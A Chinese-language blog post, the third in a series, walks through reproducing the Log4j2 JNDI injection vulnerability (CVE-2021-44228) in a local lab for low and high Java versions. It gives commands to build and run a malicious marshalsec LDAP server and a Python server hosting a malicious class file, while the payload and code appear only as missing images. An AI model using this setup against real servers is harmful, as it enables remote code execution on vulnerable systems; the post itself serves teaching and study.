系列文章
Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(一)—開篇與基礎知識
Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(二)—漏洞原理
Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(三)—復現步驟(攻擊方法)
Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(四)—漏洞修復原理
一、前言
通過如下前面兩篇文章,我們已經熟悉了Log4j2本次漏洞的基本原理,接下來我們就一起來基于該漏洞對服務器進行攻擊,
Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(一)—開篇與基礎知識本文將和大家一起對Log4j2的漏洞進行全面深入的剖析,我們將從如下基本方面進行講解,1、Log4j2漏洞的基本原理 2、Log4j2漏洞在Java高低版本中的不同攻擊原理 3、Log4j2漏洞在Java高低版本中的攻擊步驟 4、Log4j2漏洞在2.15.0-RC1中被繞過的原因 5、Log4j2最終修復方案(2.15.0)的原理https://blog.csdn.net/hilaryfrank/article/details/121939902
Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(二)—漏洞原理本文將和大家一起對Log4j2的漏洞進行全面深入的剖析,我們將從如下基本方面進行講解,1、Log4j2漏洞的基本原理 2、Log4j2漏洞在Java高低版本中的不同攻擊原理 3、Log4j2漏洞在Java高低版本中的攻擊步驟 4、Log4j2漏洞在2.15.0-RC1中被繞過的原因 5、Log4j2最終修復方案(2.15.0)的原理https://blog.csdn.net/hilaryfrank/article/details/121920264
二、Log4j2漏洞復現步驟(攻擊方法)
1、基礎環境說明與搭建
通過上述原理分析可知,我們主要涉及到三個系統:被攻擊服務、惡意Ldap服務和惡意Codebase服務,
A、被攻擊服務搭建
這個服務比較簡單,只需部署一個簡單的web工程,然后要引入log4j2(2.15.0以下版本)列印日志,然后撰寫一個簡單的Controller將介面傳入的引數通過日志列印出來即可,

B、惡意Ldap服務搭建
搭建Ldap服務有兩個途徑:自己使用ldapsdk的jar包實作一個ldap服務,或者使用現成的marshalsec實作,
這里我們選擇使用現成的marshalsec實作,
首先我們從github上克隆該代碼(https://github.com/mbechler/marshalsec)
然后再工程根目錄下執行mvn clean package -DskipTests對進行編譯打包,
完成之后執行如下指令,在9999埠上啟動該ldap服務:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8888/#Test 9999
開啟之后會看到如下日志,
? C、惡意Codebase服務搭建
這個服務比較簡單,只需要在請求的時候,能夠具體回傳該請求對應的Class檔案即可,
于是我們撰寫惡意代碼Test.java,然后使用javac將其編譯成Class檔案,
?
然后我們在該目錄執行python3 -m http.server 8888,在埠8888上基于該目錄啟動一個簡單的http服務,當我們訪問http://localhost:8888/Test.class的時候,該服務就會回傳該目錄下對應的Class檔案,
?
2、Java低版本的復現步驟
現在我們開始執行惡意攻擊,我們呼叫attack介面傳入如下引數:
?
接著我們在Ldap的服務端可以看到如下日志,其表示其告訴客戶端到Codebase去獲取它需要的Class檔案,

同時在Codebase的服務端可以看到如下日志, 標記了被攻擊服務端來請求Test.class的記錄和狀態,

然后電腦就會彈出檔案管理器,至此攻擊完成,

3、Java高版本的復現步驟
通過攻擊原理我們知道,高版本攻擊我們不依賴Codebase服務,但是我們需要Ldap服務器回傳ELProcessor相關的類,所以我們需要對marshalsec原始碼進行修改,然后重新編譯打包再啟動服務,
因為咱們攻擊依賴的ELProcessor和BeanFactory存在Tomcat包中,所以我們需要在marshalsec工程中引入Tomcat依賴,

然后需要將LDAPRefServer類中的方法sendResult修改為如下內容:

然后我們通過mvn clean package -DskipTests對其進行重新編譯打包,并通過java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8888/#Test 9999啟動即可,(其實http://localhost:8888/#Test是Codebase地址我們沒有使用,但是因為我們沒有修改啟動邏輯,所以仍然需要傳遞)
一切就緒之后,我們通過呼叫attack介面實作攻擊了,

執行完成后,同樣電腦就會彈出檔案管理器,至此攻擊完成,

三、慣例
如果你喜歡本文或覺得本文對你有所幫助,歡迎一鍵三連支持,非常感謝,
如果你對本文有任何疑問或者高見,歡迎添加公眾號lifeofcoder共同交流探討(添加公眾號可以獲得樓主最新博文推送以及”Java高級架構“上10G視頻和圖文資料哦),

系列文章
Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(一)—開篇與基礎知識
Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(二)—漏洞原理
Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(三)—復現步驟(攻擊方法)
Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(四)—漏洞修復原理
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/381924.html
標籤:其他
上一篇:R語言使用str_order函式和str_sort函式對字符向量進行排序(str_order回傳字串排序的次序值(索引)、str_sort回傳排序后的字串)
